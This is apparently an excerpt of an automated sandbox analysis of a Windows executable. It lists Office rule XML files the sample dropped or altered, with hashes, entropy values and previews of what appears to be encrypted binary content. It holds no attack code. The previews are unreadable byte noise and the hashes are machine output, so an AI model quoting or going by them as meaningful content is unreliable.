SSDEEP:	24:rSCZdsB0Gb01qzfSYgWz4qaNuIibuOp7LiLaj4RBbUBvgtgCzwQJIKLdbD:mCjsB0G5uYsqSnKuOp7sa0rHjzwQJzD
MD5:	32949295EBCE09323E06F848CECACC0A
SHA1:	5502CA49A0CC3AC689145D1D78E3F0CFF3A39E2B
SHA-256:	0DB4726A216F8556B14119145F271B6217687F40F6F382DEC02D76A9C57EAD26
SHA-512:	6087FF23F6B1918FD8A62AB0717DED541815FB1AD2D5E33A722B01D3CADAC11A4B87B6ED1067CE299FE9D80B581F046201754532D8401CE9C2080B669CD1415C
Malicious:	false
Preview:	<?xmlsH.\|tM...?P.C....t.....6."G.T.....g.r..~].d+N.[Jxe..~c...1.w.4Z..L@;.tC..O.."....e..[!........&FL5V...D..)....'.FU..,....n..'.4.....ho#.{<..6..[..8..:..1..e..vgfL...G..].ac..DP>.(.&"R$..x.!1..Sf...5.`].99..p.I...g......[.Z .n..fclhg.V..6U.MK...VqK-.'h..t..1....u....I.....SEX.{..".-P.5....x...(v....ppo..."...4..9i.np......D;=+...e.O.PA...E.w...r..F.0.<8G,m....gR.a..._..%..eGk!........q].7..R:y"...#.....r...j......l.{..Y....+.l9....k......=.....M...:..j........h..T.=E..<....~o.._.j.\.....F..AB..C....&F..,.e..Q-...1LJ.Pu.s......b.7.(.\wd. ...H.=..e..6-..Oz.x#vO.....O.qN....s.\. ......G...>.P.[.C%...q..!.95p!.K..r..,F.J.iI...m...I.....5..nC.";..yu.m.N..2q.-[.<...,.rXBW)f}.4.#.....j.D..@l..S<..f....St..6..6{.U.....g...I.;0.1.c...M...%...&.A....c;$.{q..k...@]6...#F.9...Zj:..}....,........(....+..`X%!..%q.~O.wo......u...Bi*..<7+~X..lm..r.W..L:...".....3.....\..l..`........$...3... .bo..oR$....oc.x;.h..."...5....Q.G-H..hO:...."O../S.....h..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320007v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.827331952147742
Encrypted:	false
SSDEEP:	24:a6wNjYRQ6r8Zl5yvvWuhplSgvwPp5YRYs5VGe2zPbD:jwxR6Ms+gpltvwPq+TD
MD5:	6EBC7D31DCBB12BE1776CD8D03ACDCD4
SHA1:	DEFDBEDCDF2B937F8424B22B99C981608364EC99
SHA-256:	CE528B3B915AC3192C5EF266A892EC9EBBD1E7176A36CD475F40233B74C70F74
SHA-512:	1F08A291B04B46844D90E95331A1720F16E89F00D819C8106317AE6E83F7EFE8224E4D9F99235ECD56A4807EDC68FA540CFBA53196601578B782FB9211F53A29
Malicious:	false
Preview:	<?xml...~...\..r.X...C[h).>..<V.&....qzVJ... .3Z...x...'.NFe.b..#....'.s....v.y...a.'.V..........t...m..................dW....!..../.+.#...p3..7F.+..Fo.e.d..P...?.0...}}+6?Z.....]..r...c..0...oo.."..>...I..>934..........!.3................N....QX...kB.D../.U.ar).U.....B}E.P)....6.,}_.\|...k.c/....\|C"m.(............'.!.y..XY.....J..\,....3u..d....=.Dc.S...4v.....w.....OV...7..HFR...49..;Y.>..2....:..s.^..q.z.....(... .b.@tf....(.....i.O.y....o..U.z........p.Y.P8..4.Tp\6...h..5....d0+.]...\.N.-...........Km&kU>.$......@}.z..}.t...;.%xL.....c1..o..@....G2].[.).........S.a.Fh2..st....dF..$m\|..+.]..V.}......]1..Q..@....;l(V....Q]8......P..;...m.5,q..'+t.C..'9..3.....He...?:.......4..\.cS..."...]L...a...........K.........4....E....[..b.f.W5<hL..K.(m.3..[....K..BvS....'\|.TW.b...z...S.B..@As..md..3Q...6......_.G......{8.s.c.a.B...Uc.Z...1.......I$m.*.In.....f.....G.$..3.>}.Y..$.D'....b..]>.? ....Yg../5.....>C5..[I...]2sS..y.t..'....\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320009v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	866
Entropy (8bit):	7.758942915783891
Encrypted:	false
SSDEEP:	24:WUhDvQGApvrwxaN+qly3/Yf6cs7+znfvAfneJnkbD:VvQ1Brwxk7ye617CwfncnuD
MD5:	DAA55FE9658D8C24A20DCF36C2D8856A
SHA1:	B02BD377337E9AB4B9A85AE19A59902697590329
SHA-256:	940EDBEE6D0CC595C93E0627D2A91252A313D4330C7AC20164FDBE70AF353A4B
SHA-512:	8BE11DBBE0E054F7F3FDBBA7BCC4541CFAFBC0260510E3AC63B5E5DF3F3A1325934DCF8087AB554D3C5A4E2C95131BC2559F55CF056609B1ACCEFA2B9293E2D8
Malicious:	false
Preview:	<?xml7(.T).B..e.O.:...1._...<...?.V..+..ry.Te.q...Q.Z!...;.}v.1?....9..n.b.u...7..;;4..C.y.3....G.Qa..Hj[\f......Dx...~=.,.9.Q.p.....b.}V4..."k.\}..g........^.$H\...(........{...Z.......x+.G.-.\|(P.F+7...O...).hT...)....k..?..h..y.G...:.7.......y.d.....hW.3.R.b{.. .4..T.R.dW..... L.r.r........Q/....}...p....\)......8...fK.....p1m.......ql.kW.]0.}....x`.lF.{.Z.c..o...U...3t2...&..}.i%..;.-..l.<...L^m.Dg..U..O....$.pG.i...P...\.^W....~l,...%.ymh3.?.l..<. ......q..M.<[i..._....r.9.#5.7.k......)... A..6n.CH.D"`F.N.-.o.p.....JD.n...&....A.!*cBo.l..~.....lZ.......g..^.n?F......M.......q_M...E..,..m_O.o1..i.6..%C.S.R^!.s.A.?T).Y.Z..tz7A! j..(.L..a.k.....pF.6...9..D.~a.../.6...@....8.....d.9D.t....KR]......e..@........P,$...Z..\|u.h...h..X.e.....d]w..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320016v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	901
Entropy (8bit):	7.789466210419236
Encrypted:	false
SSDEEP:	24:nwzc4qagOZ37i8+jX98d6u4h18su+Xim7dJZsnbD:nB4qkZLi8CHh+su+Sm7dJ2bD
MD5:	067BBCA3CCE197D84188C90319C01F1B
SHA1:	A6BBAF6A05CA8B99792CDFCECE5104F4E0849793
SHA-256:	5F417BE874F7FFB0109E3820641433C5B377B0793FBDF0D4ECCD6060C57BAFDD
SHA-512:	D40FD19160666F10C75C1EEF1AE65E3C2F5095E76FEFC949394D3699FC83CB600B5C5C95BE7E70BDDD039B770A0E827E63DDDA4F9172006C1191488E41FBBD92
Malicious:	false
Preview:	<?xmlK8....p(..E.a...,G.\|...`..4...CD....C,...$N{...G..I<..n.0......_p8..<.0M.^n3.x..........Z...b.kZ......S...Y.I(.[\{^....?.....".Y....3Nj.s.@..d...II..`...:k...-..w\|...!...:)...w\|.jB.(.`.Ro....Z.!.wg.V.N.U..b5.....J.....k]._F...oH5.....X.?^.p..5....>...6r..C<F.\A.q.s.A......../.T......"_....f.&..g.....6..k.6.....h..Z..Os.H,.....x...]..>.Dh..d...\|$.......j...Nig......L.r-TLa.^m....#&..e....N.<.....3o...r.N7...W....m! o=.k....g\GT......<z..F...{S..)y......#V'.u..Z5...@.-....i.U.....'..M.e.Y}..h............W.3..w...AI..HZ...Y.~'\U....'....yL......E.G..<z.+.._.fK....;.H....I............Z1......;.`.l:...PK.C..s\.b..w...e.5H.e.Y.j..N.aTF........4w..K.(.....O.A..0.G..h.,...v.Zt.....-&..]......$.w...m^...?.I..[...{..p...F./.2V8.bM.k..].T..l.4.I.!.t-.....l...BB...&.....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320021v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	860
Entropy (8bit):	7.720314804536244
Encrypted:	false
SSDEEP:	12:Mv0vHJeXOEKeOSxovUbiWf0CBAJkNYHJXJyQjW3YELEahRt6Txv3azFNVEUS2ciD:M8/NDSxiRWNykN0XJyQO70xSnWcbD
MD5:	D681F78CEC1730F76BC66879B312E317
SHA1:	3E7F09583E5B94945B2B7100BEDBD6C024189655
SHA-256:	40502AA7152C310484AB00061A8B8E42584BD5AF46FEA75395B2863E0842CBC9
SHA-512:	23E87584EF92E104B8768D045CE51EFE896B2F57F32BCD4521F0602547033FACE1288BFE8CFFCAF5101D6B944B27EC066FEB09222EFEE021A540A2D27AF50ED7
Malicious:	false
Preview:	<?xml.E......)...=.'.~..2.w.fJT..:...mO.i._.Iu.Y.....I\4F.).%Yr..n.../.c...G2....u.O._Cs...?.[.ye....\|..-H.P.F.>..Ky.(.....X,L......../.07.....;.#.c....n.6,.....J.j".`.<i&l ....&i Y.8.l..f.qv.7..GBy...!Q....A..G..vYSQD.'..z..Y/.\]..Dt..F^x..v.Xf\|.30}A..7ru.Q:....luX..A...AI../.c....M>.........{rI9...9........3i.{4b.E7...9..B!..[.5^.u].zw.u.m.8Yk6....:....xMA.s=..0+X.=...o+.!,)........G..<.{.+.n..>....i...An..K..Z\|G.Ns- ....[...2G.@..#.....n...,D.}..G...19B...b.\|...g.Z...e.d.Ak-^..d.....I\|.`..N.....wY..._m...W1..j>.10;......L+....}.A..k....d-W..N2.h.....O....S....5..X^...ko...rL..1U.Y......J}....14.pOm.z..'..g.......Ny.Wr..a.m._..,...u.<.\.E..X.....z...D...#..DA..37.....2+......].7i.ff.YA.:..v..q........[...D#.}.N@..._"km$... G.W.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320022v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.724835225697896
Encrypted:	false
SSDEEP:	12:MGL8PHZFNw49KJf2LI9sng3RXhR3jVZyfhiXtrvPOhWzNk05zfAlJI2AS2cii9a:5L8PH7L4JIIegZhR3jVMfsXZHc05zfkS
MD5:	A95758631D6C34A3089DBD7C0401B7BA
SHA1:	B9FDFD3DB166FD5C26A391E57B7FC75F6AAC6F60
SHA-256:	F882D8F8D14CD76482B55278F7A92490CCA462F3913FA79392C6E47D52867385
SHA-512:	BF0F8647874369DEE5D0109AECC4002D7B1BE3B4036D7A87EAA2031925EBA38EFB0EB1D56655B00FDC43469E74702B808D9B8AC46E25127417585905FA943532
Malicious:	false
Preview:	<?xmlq.UB/.J+.61.O.=..m.....:..qY..w.5!>Gd..o..HQ.T.3.....u.......r.EEP.KH....$.S..Lo. .........5.H....\|.9.1}.....%?..sq.x.....VG.5[......`...L..j...>....u.&..t}..C&.-..w.$."......).U.9.wN....7../E.4E.A..a..kK..ecz.r..9.g.PuN.T..8q1c..;B'..TnU.k....X...G...vL......n..2:.YL......T.... ..Q.BV.-..Y...8...G..........8<......0E..Z...L.".H.uA.8...0.p'...3.....hvr.8.......X...o.;........>..L.I....'.\J.\|O..tF.6......d.K,.59.F.X..K..5~.......r.........^3."..`..K..s#.G.L./.`.]oG:.Bv......m.w....HZ....$....d..2.....e.0....-..eNI,.H........I.Nt....0..I...nM.....N......7._Ig.{.VZ......:7+.)..PB;....Zuf.....v~y.[..}.:.&.6.af.......(xS.i......3s.0U..H.67..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320029v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1117
Entropy (8bit):	7.819698700811632
Encrypted:	false
SSDEEP:	24:52XB61sTs5nOxdqpTpncmQlDCeIPMA7uGwtfKSaJOI1eGObD:52g1sTs52U03lWl7uGwtCRr1eGsD
MD5:	37B52447D9DBFC7F34C7346347B87AEF
SHA1:	D9B75B27E1E775D480F4CB3305387D2E1055C9C2
SHA-256:	8C6F01A72C09AC3629D5D203354CA6AEE036B21AC027567C1C8CED52612F80F5
SHA-512:	191055E32E4BC3763AA3C8461EE9D6386338C4133A1442B06D65877AC420509BB1F6B8AC16C80415FE8F8D919BC31BF9A7E2337D6615AE6B13FC20CF7885E23F
Malicious:	false
Preview:	<?xml...&..k.W..-..M.P{.A6.^.f2t......w.u..e.x.#....l..Rn.....B.R...!..veO#.[..y......<Z}..d/...d.....Kp1...".Z.h..Q..y.M...c.U......zV.........,....+...KP...k.?.V...V7.V.c.L.\~ei[>.I....![.U...K...Q...........8N..wW.uz.ljp^...@K.[Sg:.4....G...?.O7-.GP.w.Z^.....8;.$rw..="]d.[%.x...7R.......k>(p..F.....0......5..7...S...N..`..$5..F...O.._.....,.x.vF<.+..b..5....$..._......O_+..hj...;P/.o)e..q..H.}...e8>?....&...K........f.aW.OZF.0!#..O..9/.0.o.B"......L..pHWL...Y.D2...z..Z............0..Ft.n[.V._...m2.F.!.3..B..E.Pl....."..P.oe.k. .9~I.w-.r...u..W.6....W\|0..F..S......+.i?..s....NO.P..c..8....N..^.I..\.'.?i..n.B.n..j^...\|......vW.A..mR..4...%.'.z.6......k..?.C..;..oX.4...r...1z.jnq...j..>.J>..@-...o.K..jt$.<N9e.,.P.e..0.;.y.....P..j...H.C.r*.e0..%d>...G\..%9..i.{.gw.$....L};.>..k...5>..:.=.h......G.b.z...l.g..nk.\|...uY...A..9V.../.-....eC..~.......a..]\|.......nk.-.~..R{.....a...kO.wi....A..6.Ink..'.u6.........'.......\.......^...J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320032v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1025
Entropy (8bit):	7.795426528050313
Encrypted:	false
SSDEEP:	24:DduDioqhFybo8UOyd06nsDrcMyt2NyhbIrNGRYX6YIIbD:DMCh4bo8URDTsNyh85UoISD
MD5:	687428EAD737C3DB80AC12AD68EC7DC2
SHA1:	02485829BBA3BAAD6F9B90492E6EDEC817B766D9
SHA-256:	3334C3D7E3352357175B1D921B5279985540F63DA1495E5361283A76937EAB87
SHA-512:	44FD36A0B8938EDC19BE92AE6779422E99E3150D6A0E1EA2A9872F40EC9F8BB29593E95A9B240FBE8415A78AAEC68AED7E4F857426EEEF04C8D269CE423B1321
Malicious:	false
Preview:	<?xml.}.I.....-.7JK.......`..VtV....{W%.b..........K...=..t.\..2.....:...2..o....:...s..ma....E......."T8.7....2o.[~...\.....`..n/......+%...\|...eb.._.".......O.M..6../...."k....z..U.)...._.. ,..0VO.E..CJ..nR...[....O.H../(..k5R..il.S...%...h.s......2ZD.J....}..UodbE].L.....k/.:_.s.;x..A\.1...t..E^a.?..'.....wA.F...UI..A......H.....:..OCU."K.*..9DnD..$....zK.N..0.Ldv....G.V.{..$..l....X.?.=M99cM@,....[......\|.......p..j....-..........2....F.%...........L...:..K.H.P<.N..Ui/...Ap.(.v..i~M.g...1.=r...V...G7.....F.\|Y..s.k.pB.x......Jm../=._M.n..Jg..d..".t,A.......d....0.Ca...>Fk%.{..=.z.....o\|...Gz..f.v.k...].nw6....F>4..l..Y....]\|....]Q~.......6X.....z_..(l..>..h.=w...s...x.p...>H...y.X....)D.\.R.A6u`T.2...N..k..b..@....3...E.+...}.E'.....[..p..f.Py).....r..`n..../V "j&H.....Hn..\|.Y.J....uoy..\|.5z.`..:.R@.f..p.k&...]).K...+].....g.5..Q.)7;..?.^~...@q.Sa.....~s5^l..b\|..wZ...0@.gLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320033v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1112
Entropy (8bit):	7.799344024301758
Encrypted:	false
SSDEEP:	24:+IUV4vdq30IhSDfUdipQ5l6mMtFdA3ztRklAxhu3iwYUt4uobD:+IUCFejAIiORMtFdcyWhu36nD
MD5:	425150410F410755423522BF92CA33FF
SHA1:	A188FA3EFEA48B2D67687C77D968DA6414BA13C0
SHA-256:	BC971C55DA1F3CD17D439CD1F01B65C77C25A5ECB76B5CBC7782C31CD4CF4907
SHA-512:	8F86C2C139ACDF50B431AA44E89EBC0B9AF3A2FE4121D2B59A7C4C4B22550FACBC6F2CA80B28AF2969E498800D5A3A3A806CCA4604DA1CFEEC3BCCB2E5B8570E
Malicious:	false
Preview:	<?xml..z.G...k......X..."K...`3....@-.n......(....%..^+?..{C.]..Hyd....Q.......^..w.Qn./....\qt..>Cu..D....Bp.....o.F.?...`.W.p{..p6..H....I..I.".....Qu\|.&~...S.M(.+..x~.d.....5..%9x.{rS..>h+..urIXb[l7.....).fD.2..:A..g...Q:.K.......HZ..s..BMC....i.Mq.a2.Gv$IK,L....g...p..nm.....z.riF.....>1...o._s_..,.Ae8&.Z.... ,c.w....z...w....)k.ef..Fy._\|..Q......Y.O8.Q.....x.....wP.C.e..CF....,...........`Y..d#..].V..~....W........b.%ac.(u...s.....{.l...."ml.>.#+....T .AuC...I.....U.].k./....H..x..{.P.T......Pv.....W{...+..Hf..I..'r.......1..?.. S..a2J...8-.....\F.A-b......-A..L....g.:B.^..t.`....>7..f.a.AB?....Gl...x.[.8...X.8.w.LB~7.V.C.3.o...](.g...)NX..f%.^VIU....x\.Y.%..H.(. .)...".D.m4a.:.s.f..j..`.I.%..Zyg9.........s.q..7.C.k.9T..r0...7..).-...+......u..U5...^r-h...(M.#..,...\|.+<.......I.._....2j.Y....D.l...4...R4...D....[...-.......E..=.....Hk.......t.n...zD.....\..,...'....q......!x....^.N...f...)..3LI[..I>.l'..@d.........^`...mt.;.(5.b

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320034v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	923
Entropy (8bit):	7.771549684764476
Encrypted:	false
SSDEEP:	24:pr05glkbdkR3oMQaGZriYE8jVQq8Ky7IbD:prRMkR3r8WXywSD
MD5:	CFD3343742FF2C25F9C20798BB43257C
SHA1:	1E6567937563916AF886192FF656BEAE88C857A9
SHA-256:	AE09BFEBA98C05E2779594089F4D54693991AA253EF73E0EB554F1C8332E1A55
SHA-512:	D9DD69FFFD4FC29E4F7D22920E0E4517FE6C6BB96B674AF6F59ADE01E5696C5B2E6A832DC865C85AE8729B2A31906FFC99D8C6002DD5D4D8905D36A00464EB0A
Malicious:	false
Preview:	<?xml.s...\|..X..ak.:..A.4>..+E.DLVt...0...h....p...X..1..=:a.t.V..E.._.....i0.-Y].....V9.....i..N.}i.+.c.Rl.z...5PPg...p..Q2.3."`.H.....o ..V.....-.&..\|.>?..ox.V.36..6U...7....:.b...f`m;.L_;....\..i.t._p......^..EZ..>.[.......,..g....Mhh....w...H....O....p..\|4.....C.o.Y.58......g..\|`....?01C@...z....9=.h.....d..I....... 7...\.>....'.xI....1.."..........6....,........U......KK....ut......m.......7...Z\a..v.....=.y{....L....>............< .&...;.w.TM..b?..SWZj....vO.572.....R0.j0.DQ..U...ZN.Z.".?.9S.j.b"..}...I...>....<`.....+.Y[x;.g...$e,{..:.$Y..a....y._:..l.._)`....1.....K4....9:m%........_.....]/.......g^..d.)..<..c\x../.. ..U...x!....{..;.\..+n<.....8..?N..L..I.]...,.F.W......[X.W...2...q...r..J......G..a+d*.N.....N.....L......)T.J....K$.......G..........M..2......`.....!....v..C/.=.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320035v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1413
Entropy (8bit):	7.853102286474118
Encrypted:	false
SSDEEP:	24:ZqTHnHS/UjG5hn2OujUZmWGaKarg/xXJgn510sZRImLqN7pbD:oTy/8uhnUjUZmlaZ8/lJsJImYD
MD5:	541F9A2D88EC6483162779DCD197238F
SHA1:	B6366312589F0C97E6B8780BC905B76F4370E40C
SHA-256:	241219F3E7D4A018391D004466C7C9A01ACDBCE3482CF051D3CB2F6B85A87491
SHA-512:	AFFCA1D88858BBD43871C3D40EEA7858E73434FD70EEA162BD32FA59B458AE5BB4E4F6176477D4333B3CFC3B0FB9B54E83A131ED6C89A8043A563EE3452E9A3A
Malicious:	false
Preview:	<?xml:..nZ..qK;f...?.SI .... \be.4.\|.H.........i...W.^..8CO.<..^..[.....a...ty.;.&.?..5...bQ`.-.....3....u.P.7...n.,-....JU..H^ ..w..E.O............X...............h...bh`...W.<."...E!@.hJ...U~x...C.!p9X......q..;..[.......kO...!.r.....=9.....?.i....s.Eb.....F.=..wm>.....t..2uJ.........V.`...[...f..........w6.@.d..H.........+......."....!.\|e.M2...b~..Nk....h...b.;...7uC..#.7.XW.. ...e. ...!......)V...H+j.?.H..DtO.o.eE..@..w...]..9.@t..V..Fl.....!.N...O.....a`.e7<.J.4a....~..uC.;.eWj>ys....S..L.FTn..;......\|....i..7..xE.....k..i.OZ........]5.v.{,.t.....O...ib.%[{\I..8._...;v.Li.bF.6....X.L9q...c.&...T..(.g:X.#...{%...<$......7L.)iy\|.d.}.Iq..Q...GP;cIwI!...^..U7\|vvty...OR..@ _.........-..~..........&..JLt.~Q..47....8.^).\+.2.!.o\Z.P....=4..P...z...-..K$............b+..hK$..l..l.Z3..{..g..D....\|..K.j."&oJ.-...-".\.*..5......7R.P5.;..k..aD.G.#...t.YN.......;.R.s.....~..Zk..)p..o..:X..E..1...J.l%....-......."..)....G..y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322001v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	7.774946866363058
Encrypted:	false
SSDEEP:	24:91xgeT7onm0AG21wVkwrC+cnLHQiFEAsow1G311Y/bD:JT7onmGMwhrCVnLwiKAYY11YjD
MD5:	E270F284C339357590517F766E39D475
SHA1:	5971C3DC291203F8A140C800B008BF48B19CB91F
SHA-256:	D5FAFBB2C8C5B931EBD3260506FDFFF1C046CEAC407DA0E0585B816A489BBC1E
SHA-512:	9E7A1498BF57C079AC3361C26F35DBBE5CED80CDC7ED0EBC58771C3A9F997CBC6AE2F401A030CE0211EB5957CCDC1A48B263011C5C6FE9CF4AEE662536C9DED3
Malicious:	false
Preview:	<?xml...x.$...)....Xe.e...\| #p..."..[...m..N....#b...a...e1U`..0?46[.....).4.1.p...k...}E.r..At....a._..E.......WU.e.=j^A.Pk.d>......n..(...vb..S._..F.,..=........@C`g.......[qHvVG.IB.t5-.....0.\|..o\N....c.'..kQ.aS&.......N....M.6...6;.....j.]7h38UU...[..;... .[.]...u.).....^)........f.v.....5.`dg.P...r..#@54..2Q[uX]^'....[j.^..x.zoNIycl....."...0.+'../.j.).....Q...)5...g&.J..Q5...B.%..-.-...~.g..4j..&..JZ...\|.VA)5...m.T.$.e.^.AwSC9...1..q`....K...2..T.pu{..^...[\|..G..gF...@S..c..9s.t6&tK".V.jer..f..`."u$ha....aF.8..P......!..0.w..........e...L...A1T..>..B?.........>A.c..Gs..`p...C3l.(....B....e.V.>b.W..N.........c.h$EB.:...2.U(..G.......\Tp...j..8...KJ.}..w}......f.R8.z...[ ... ....Qk>.s.......f.Yy.u.........[y.H)v.^7.kP.P./;..r...g..L!.....:..2${...3.c..8...-l....d...z...W..f.O...1..l.'..!C.../.._.6].Kol.!....K.T8.6.Y/..)*..Z.Lb.u..d ...o.Fe....L_.<7...pLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322004v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1133
Entropy (8bit):	7.8222193822923325
Encrypted:	false
SSDEEP:	24:PXQ23QW5zfu0E2RKc9k8hWfOIt1zpQ3wDX1HCCpM/OBaobD:vQPW5zfuUIGoOEhpa6CK3ayD
MD5:	C7652582FC792256D2D850E9E2D6A334
SHA1:	F382E7DD57DFE52DC014ABCB1C7AC44FFE9D9BC1
SHA-256:	14C5B4529C3144ADC36A5AF2C5FF4FCEDB7FFD7F4F38A810AC42D758F7E3FEA9
SHA-512:	4C4F5BA13F4DC25894494B5365E77866FED9DE2668E340E9C332CE2B0B30CE9813FD76A7576D89F02DAF5860993FE9AEB6231AE965EF5CDACEF38B490A90137F
Malicious:	false
Preview:	<?xml.lTu...B..#F..9.2...(y_.-i...W.].J...1W..q..U.G.^..A....I&b.L.P..&4..\..uH......R.........#n..].....F...).J&E%1...F..0......$8.....,.d.s..>..U...x1K.!V.#.P..._b.^`\H..2^.W{.n..@..h.u.=y.;....w:.J..d...0.....@..MX...3.J17......+....9.w....]....+{.\|$C5....5...9+;..._.J.3...R.......F.R...y..a....].H..$ ...Y.v(.D+."....0...U...\|.d..Z].Vvr..W2.}=}.@n..\.U...oj...\..& b...YX.T.X.._....E.+l..5......K..?....E.,..9+.C...\..)0.....}.TQ...KhF.B..v....>UG...tMO..N}e..7V...)zq.~.......#.[.grT....H..U]........R.!.k...x.6M.7'jCK..!...E.R..a..r....T.0......>....Fj..U ...n..=........:>..t..m.y...T..H.#.Gd...D/.......R...el.$.....8..?...Z(.wy..c...9ov.%....(.y].j..=1Fa.........S.t.=..r..fS. ......h....N.R`.....ZL[.7a.1.y8I.{...mA..C.........e... S....l1...^......H....jeI.,.b...>.w'L....?..e...<..U>.U.R..;GvQ..Q.o...,.Oa.....w+u..\|u.<....w;..t9.eU+`..e...8.v.z....t.e.-.^.........B.....\|...ep0.N.[:.....i.7.n.[l.....,..8.9..H......,2`.t(.&....PU...4-..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322006v5.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.8765562436604935
Encrypted:	false
SSDEEP:	48:JyPiZSsmfzt0qwuRInYqDOvKeIR8P+05aVFdP6DLD:JTSsMCqNaftRC+05a9Y
MD5:	E9208CC833C06F355860D6868471FB06
SHA1:	4DD951B633A60A31A4FCFECA18C76AE5223778C6
SHA-256:	685F4BF3A427B85453A2186E23B33F05ABCE8BB8AE8F59B9119143315E6A0DBF
SHA-512:	C844DA0CF8BA0E4D1712373FC955ACD13509637356EEDC01EDE0E1125674D84E9E8DD3735941A55C128224AE58571A795BDCE6E4D8CABABA3127DB28C6B148D1
Malicious:	false
Preview:	<?xmlgy=..1<>....705....n`......9..s....'...$...}..................a......3-..76..s.k.....$.I../....M.?....JT.F&.ox....R.....a\c........:A..?..n...\.,........$.d...$L..G....Q....3....D....iN.^.D..H..Y..z..Di.R..k'H...r.#P.....Z+..#.."J.p..)...&.O...lOC3..a ..... ....S"m.OQ......l.La....\.u.~T.s..4.k...d.../T.&..........+.].I{g]X..f.$0h.}....D..=.P7.L<+..X.4.Wq?w(G..A..0............C...`.U...:o.?.......v$X}7KBE'Z.......@L>......<..l........[C...N...b.vW....h7.q......]..x4..e@..T......O...<..R.........J.aW.y.xk".oa?.)%@....+Z1....N\).....;PmW".r..E..lZO.84S.0....1.(..:...a..ok.../...j&...1.9k...O.2.E5.bR.K4..lK;$0b.#...(..Ze...........1.."N.hk#Ee.E...y.....x.."H...9D`h.o...n.1.+1#...8.....7]+u.g...+....@.~.&c).M..............L%0<..i....,8.r\|n..EH\|..@I...c7... .cV....f.RbR.\...CK.+..T.i.S.L"....RIV...S;..I..^.@K.$O.....7......d3.U..V...1.c..z7..5..;.\. ......?...L-.s...~......l..o..\Y.U...$....C..h..-.-.VZ9ma.6./F.Z.xA2X..T*'.uV".="..=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324001v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	846
Entropy (8bit):	7.722796348105984
Encrypted:	false
SSDEEP:	24:yUPrK+FGQahl/XliEGxVDpMRpJgYAAyaN68wy2zbD:ySGrfI8eOeD
MD5:	7BE1F40D366F6A3CE4C2617735F527A5
SHA1:	89DB7A2ED4162C359D9343D9A31694978EC4348D
SHA-256:	CF5BF976C87798FE04F84300A309CA636D99168CAA02E8765413FFAD7DFEFECA
SHA-512:	281A970EB055737050B6DCE579AF073289F7C5D7CB205432E9EB813BB6EDF9A1761508D7C365A817CDE45F42C486720B716329E0083AC894AA2FC2002E04E326
Malicious:	false
